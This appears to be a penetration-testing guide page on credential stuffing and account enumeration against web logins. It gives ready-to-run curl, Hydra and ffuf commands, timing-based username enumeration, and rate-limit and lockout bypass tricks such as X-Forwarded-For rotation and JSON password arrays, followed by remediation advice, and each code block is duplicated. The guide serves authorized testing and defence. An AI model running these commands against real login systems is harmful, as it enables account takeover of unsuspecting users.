Exploitation A07

Credential Stuffing & Account Enumeration

Credential stuffing uses stolen username/password pairs from data breaches to test against target applications. Account enumeration discovers valid usernames through differential responses. Together, these techniques exploit weak authentication controls to gain unauthorized access.

Warning

Authorization Required: Credential stuffing against production systems requires explicit written authorization. Use test accounts and controlled environments whenever possible.

Account Enumeration

bash
# Account enumeration through login response differences:

# Test with known-valid vs invalid username:
curl -s -w '\nHTTP_CODE: %{http_code}\nSIZE: %{size_download}\nTIME: %{time_total}' \
  -X POST https://target.com/login \
  -d 'username=admin&password=wrong'
# Response: "Invalid password" → username EXISTS

curl -s -w '\nHTTP_CODE: %{http_code}\nSIZE: %{size_download}\nTIME: %{time_total}' \
  -X POST https://target.com/login \
  -d 'username=nonexistent12345&password=wrong'
# Response: "User not found" → different message = enumerable!

# Enumeration vectors to test:
# 1. Login form: Different error messages for valid vs invalid username
# 2. Registration: "Email already registered"
# 3. Password reset: "If the account exists..." vs "Email sent" 
# 4. API responses: Different HTTP status codes (200 vs 404)
# 5. Response timing: Valid usernames take longer (password hash computed)
# 6. Response size: Different page lengths for valid vs invalid

# Timing-based enumeration:
for user in admin root test john jane; do
  TIME=$(curl -s -o /dev/null -w '%{time_total}' \
    -X POST https://target.com/login \
    -d "username=$user&password=wrong")
  echo "$user: ${TIME}s"
done
# If 'admin' takes 0.3s and others take 0.1s → admin exists
# (bcrypt comparison only happens for valid users)
# Account enumeration through login response differences:

# Test with known-valid vs invalid username:
curl -s -w '\nHTTP_CODE: %{http_code}\nSIZE: %{size_download}\nTIME: %{time_total}' \
  -X POST https://target.com/login \
  -d 'username=admin&password=wrong'
# Response: "Invalid password" → username EXISTS

curl -s -w '\nHTTP_CODE: %{http_code}\nSIZE: %{size_download}\nTIME: %{time_total}' \
  -X POST https://target.com/login \
  -d 'username=nonexistent12345&password=wrong'
# Response: "User not found" → different message = enumerable!

# Enumeration vectors to test:
# 1. Login form: Different error messages for valid vs invalid username
# 2. Registration: "Email already registered"
# 3. Password reset: "If the account exists..." vs "Email sent" 
# 4. API responses: Different HTTP status codes (200 vs 404)
# 5. Response timing: Valid usernames take longer (password hash computed)
# 6. Response size: Different page lengths for valid vs invalid

# Timing-based enumeration:
for user in admin root test john jane; do
  TIME=$(curl -s -o /dev/null -w '%{time_total}' \
    -X POST https://target.com/login \
    -d "username=$user&password=wrong")
  echo "$user: ${TIME}s"
done
# If 'admin' takes 0.3s and others take 0.1s → admin exists
# (bcrypt comparison only happens for valid users)

Credential Stuffing Attack

bash
# Using Hydra for credential testing:
hydra -L usernames.txt -P passwords.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -w 30

# Using ffuf for faster testing:
ffuf -w credentials.txt:CRED \
  -u https://target.com/login \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=CRED&password=CRED' \
  -mode clusterbomb \
  -mc 302 -fc 401

# Using Burp Suite Intruder:
# 1. Capture login request
# 2. Set payload positions on username and password
# 3. Load credential list (one per line: user:pass)
# 4. Use "Pitchfork" attack type for paired credentials
# 5. Filter by response length/status for successful logins
# Using Hydra for credential testing:
hydra -L usernames.txt -P passwords.txt \
  target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" \
  -t 4 -w 30

# Using ffuf for faster testing:
ffuf -w credentials.txt:CRED \
  -u https://target.com/login \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=CRED&password=CRED' \
  -mode clusterbomb \
  -mc 302 -fc 401

# Using Burp Suite Intruder:
# 1. Capture login request
# 2. Set payload positions on username and password
# 3. Load credential list (one per line: user:pass)
# 4. Use "Pitchfork" attack type for paired credentials
# 5. Filter by response length/status for successful logins

Rate Limit Bypass Techniques

bash
# Header rotation to bypass IP-based rate limiting:
curl -X POST https://target.com/login \
  -H 'X-Forwarded-For: 10.0.0.1' \
  -d 'username=admin&password=test1'

curl -X POST https://target.com/login \
  -H 'X-Forwarded-For: 10.0.0.2' \
  -d 'username=admin&password=test2'

# Other headers to try:
# X-Forwarded-For: <random_ip>
# X-Real-IP: <random_ip>
# X-Originating-IP: <random_ip>
# X-Client-IP: <random_ip>
# True-Client-IP: <random_ip>
# CF-Connecting-IP: <random_ip>

# Case manipulation bypass:
# admin / Admin / ADMIN / aDmin may be treated as different users
# but authenticate the same account

# Null byte / whitespace bypass:
# "admin" vs "admin " vs "admin%00" vs " admin"

# JSON array bypass (some parsers accept arrays):
curl -X POST https://target.com/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin", "password": ["pass1", "pass2", "pass3"]}'

# Adding extra parameters:
curl -X POST https://target.com/login \
  -d 'username=admin&password=pass1&password=pass2&password=pass3'
# Header rotation to bypass IP-based rate limiting:
curl -X POST https://target.com/login \
  -H 'X-Forwarded-For: 10.0.0.1' \
  -d 'username=admin&password=test1'

curl -X POST https://target.com/login \
  -H 'X-Forwarded-For: 10.0.0.2' \
  -d 'username=admin&password=test2'

# Other headers to try:
# X-Forwarded-For: <random_ip>
# X-Real-IP: <random_ip>
# X-Originating-IP: <random_ip>
# X-Client-IP: <random_ip>
# True-Client-IP: <random_ip>
# CF-Connecting-IP: <random_ip>

# Case manipulation bypass:
# admin / Admin / ADMIN / aDmin may be treated as different users
# but authenticate the same account

# Null byte / whitespace bypass:
# "admin" vs "admin " vs "admin%00" vs " admin"

# JSON array bypass (some parsers accept arrays):
curl -X POST https://target.com/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin", "password": ["pass1", "pass2", "pass3"]}'

# Adding extra parameters:
curl -X POST https://target.com/login \
  -d 'username=admin&password=pass1&password=pass2&password=pass3'

Lockout Policy Testing

bash
# Test account lockout thresholds:
for i in $(seq 1 20); do
  RESP=$(curl -s -o /dev/null -w '%{http_code}' \
    -X POST https://target.com/login \
    -d "username=testuser&password=wrong$i")
  echo "Attempt $i: HTTP $RESP"
  sleep 1
done

# Observations:
# - Does the account lock after N attempts?
# - Is the lockout permanent or time-based?
# - Does the error message change after lockout?
# - Can you still enumerate users during lockout?
# - Does lockout reset on successful login?

# Lockout bypass via IP rotation:
# If lockout is IP-based, rotate source IPs
# If lockout is account-based, test for bypass:
#   - Login with different case: Admin vs admin
#   - Login via API vs web form
#   - Login via mobile endpoint vs desktop
# Test account lockout thresholds:
for i in $(seq 1 20); do
  RESP=$(curl -s -o /dev/null -w '%{http_code}' \
    -X POST https://target.com/login \
    -d "username=testuser&password=wrong$i")
  echo "Attempt $i: HTTP $RESP"
  sleep 1
done

# Observations:
# - Does the account lock after N attempts?
# - Is the lockout permanent or time-based?
# - Does the error message change after lockout?
# - Can you still enumerate users during lockout?
# - Does lockout reset on successful login?

# Lockout bypass via IP rotation:
# If lockout is IP-based, rotate source IPs
# If lockout is account-based, test for bypass:
#   - Login with different case: Admin vs admin
#   - Login via API vs web form
#   - Login via mobile endpoint vs desktop

Testing Checklist

  1. 1. Test login for differential responses (message, status, timing, size)
  2. 2. Test registration for "email already exists" enumeration
  3. 3. Test password reset for username enumeration
  4. 4. Measure response timing for valid vs invalid usernames
  5. 5. Test account lockout threshold and reset behavior
  6. 6. Test rate limiting and attempt IP header bypasses
  7. 7. Verify CAPTCHA is present and not bypassable
  8. 8. Check for password complexity requirements
  9. 9. Test default credentials on admin panels

Evidence Collection

Enumeration: Side-by-side comparison of valid vs invalid username responses

Timing Data: Table showing response times for known-valid vs invalid users

Rate Limit Test: Show successful requests beyond lockout threshold

CVSS Range: Enumeration only: 3.7–5.3 | No rate limit: 5.3–7.5 | Credential stuffing success: 7.5–9.1

Remediation

  • Generic error messages: Use identical responses for all login failures: "Invalid username or password."
  • Constant-time comparison: Always compute the password hash, even for invalid usernames, to prevent timing attacks.
  • Rate limiting: Implement progressive delays and account lockout after failed attempts.
  • CAPTCHA: Add CAPTCHA after 3-5 failed attempts.
  • Breached password check: Check passwords against known breach databases (e.g., HaveIBeenPwned API).
  • MFA: Require multi-factor authentication to mitigate credential reuse.

False Positive Identification

  • Account lockout ≠ adequate defense: Account lockout after N attempts is rate limiting, not credential stuffing protection — attackers use low-and-slow approaches (1-2 attempts per account across millions).
  • CAPTCHA presence ≠ protection: CAPTCHAs may only appear after failed attempts — the first attempt per account may still be unprotected.
  • Legitimate brute force traffic: During testing, distinguish your test traffic from production noise — use distinctive User-Agents and coordinate with the client's SOC.